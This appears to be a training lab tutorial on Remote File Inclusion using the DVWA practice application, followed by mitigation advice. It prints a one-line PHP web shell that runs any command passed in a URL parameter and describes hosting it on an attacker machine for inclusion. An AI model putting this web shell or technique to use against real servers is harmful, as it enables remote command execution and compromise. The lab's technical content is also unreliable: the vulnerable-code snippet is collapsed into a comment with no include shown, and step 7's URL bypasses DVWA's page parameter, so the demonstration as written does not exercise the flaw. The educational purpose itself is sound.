🚧 Remote File Inclusion

Introduction

In this lab, we will learn about remote file inclusion vulnerabilities in web applications. The goal is to understand how remote file inclusion works and how attackers can exploit this vulnerability to gain unauthorized access to the system.

Understanding Remote File Inclusion

Remote File Inclusion (RFI) is a vulnerability that allows attackers to include remote files on the web server. It occurs when web applications use user-supplied input to include files without proper input validation. This can lead to the execution of malicious code on the server.

In this step, we will explore the concept of RFI and its potential risks.

Remote File Inclusion (RFI) is a vulnerability that occurs when a web application includes external files or scripts from an unintended location. This can happen when user input is used to construct a file path without proper sanitization or validation.

The main risk of RFI is that an attacker can include malicious code on the server, potentially leading to complete system compromise. By including a remote file containing malicious code, an attacker can execute arbitrary commands on the server, steal sensitive data, or even gain a reverse shell for further exploitation.

Exploiting RFI on DVWA

In this step, we will exploit an RFI vulnerability on the Damn Vulnerable Web Application (DVWA) to demonstrate the impact of this vulnerability.

1. Start the DVWA virtual machine and access it via a web browser.
2. Log in with the default credentials (username: admin, password: password).
3. Set the security level to "Low" by navigating to the "DVWA Security" page.
4. Go to the "File Inclusion" page under the "Vulnerabilities" section.

<!-- File: /var/www/html/dvwa/vulnerabilities/fi/index.php -->
<?php // The page we wish to display $file = $_GET[ 'page' ]; ?>

In this vulnerable code, the $file variable is set to the value of the page parameter in the URL without any input validation. This allows us to include remote files by providing a URL as the page parameter.

5. On your Kali Linux machine, create a file called exploit.php with the following content:

<?php
system($_GET['cmd']);
?>

This PHP script will execute any command passed through the cmd parameter.

6. Start the Apache web server on Kali Linux with the following command:

$ sudo service apache2 start

7. In the DVWA application, enter the following URL in the "File Inclusion" page:

http://<Kali_IP>/exploit.php?cmd=id

Replace <Kali_IP> with the IP address of your Kali Linux machine.

You should see the output of the id command, which displays the user and group information of the user running the web server process.

Mitigating RFI Vulnerabilities

To mitigate RFI vulnerabilities, web applications should implement the following security measures:

1. Input Validation: Validate user input to ensure that only trusted file paths are allowed. Sanitize user input by removing or encoding special characters, such as ../ (directory traversal) and http:// (remote file inclusion).

2. Whitelisting: Implement a whitelist of allowed files or directories that can be included. Any file outside the whitelist should be blocked.

3. Restrict Server Configuration: Disable the allow_url_fopen and allow_url_include settings in the PHP configuration file (php.ini) to prevent the inclusion of remote files.

4. Least Privileged Principle: Run the web server process with the least possible privileges to minimize the impact of a successful exploitation.

5. Web Application Firewall (WAF): Deploy a WAF to inspect and filter incoming requests, blocking those that attempt to include remote files.

6. Regular Updates and Patches: Keep the web application and all its dependencies up-to-date with the latest security patches and updates.

Summary

In this lab, we learned about Remote File Inclusion (RFI) vulnerabilities in web applications. We understood how RFI works and how attackers can exploit it to execute arbitrary commands on the server. We also explored mitigation measures to prevent RFI vulnerabilities, such as input validation, whitelisting, server configuration restrictions, and web application firewalls.

Through hands-on practice with the DVWA application, we gained practical experience in exploiting and mitigating RFI vulnerabilities. This lab provided valuable insights into the importance of secure coding practices and input validation to protect web applications from potential attacks.